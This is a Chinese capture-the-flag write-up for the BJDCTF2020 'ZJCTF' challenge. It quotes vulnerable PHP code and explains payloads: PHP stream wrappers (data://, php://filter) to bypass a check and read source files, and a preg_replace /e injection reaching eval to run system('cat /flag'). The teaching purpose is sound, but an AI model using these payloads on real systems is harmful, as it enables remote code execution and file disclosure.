[BJDCTF2020]ZJCTF,不过如此
打开题目 首先是一段源代码:
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
直接进行代码审计,看到有读取文件,想到了伪协议,因为file_get_contents是读取文件的,直接读字符串不行。直接上代码。?text=data://text/plain,I have a dream。也可以用?text=php://input,然后再post传参I have a dream一样的。满足了第一个if接着看,传入的参数file不能有flag字符,才可以包含传入的file,然后看到提示有个next.php。看到这里如果令file=next.php。只能让他包含进去,其他什么用都没有,况且他本来就包含了。所以这里应该是想办法看到next.php的内容是什么。
试了一下直接输next.php
果然什么都没有,那就再用php伪协议读取next.php里面的内容:file=php://filter/convert.base64-encode/resource=index.php。传进去后includ包含这个内容,就会把index.php的内容以base64编码的方式展现出来。
最后payload:?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=index.php.
接着把它解码
得到第二段源代码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
首先解释foreach:
发现这个讲的挺清楚:
$row=array('one'=>1,'two'=>2);
foreach($row as $key=>$val){
echo $key.'--'.$val;
#one--1
#two--2
而题目是foreach($_GET as $re => $str),假设用GET方法传一个index.php?hello=world那么$re=hello,$str=world
正则里面/i 是忽略大小写.然后解释/e: 正则表达式中的/e模式的作用是将替换串中的内容当作代码来执行
strtolower()的作用是把大写字母转换为小写字母。
可替换参数里面是 \\1就是\1的意思,意思是表示取出正则匹配后的第一个子匹配中的第一项,再看后面有个执行代码的函数。那思路就来了,想办法执行第三个函数就可以了。既然替只取出子匹配的第一项去替换,就让他的第一项就为我们想要执行的函数就可以达到目的了。构造payload:next.php?(\S*)=${getFlag()}&cmd=system('cat /flag'); (\S*)匹配第一项getFlag(),然后把换上去的getFlag()当做代码执行(这里为什么用的是\S)而不是用的(.*),因为php里会把参数名里的特殊字符转为下划线“_”。\S代表非空白字符。传进去后即执行了 →echo preg_replace('/(\S*)/ei','strtolower("\\1")',getFlag('cmd'));
→echo @eval(system('cat /flag');)
至于为什么是${getFlag()}而不是getFlag(),先附上连接PHP: 可变变量 - Manual
在php中,双引号里面如果包含有变量,php解释器会进行解析;所以这里如果传getFlag()的话替换后变成了strtolower("getFlag()"),需要让getFlag变成变量让双引号解析才可以执行,所以传的值为${getFlag()}。
最后得到flag^^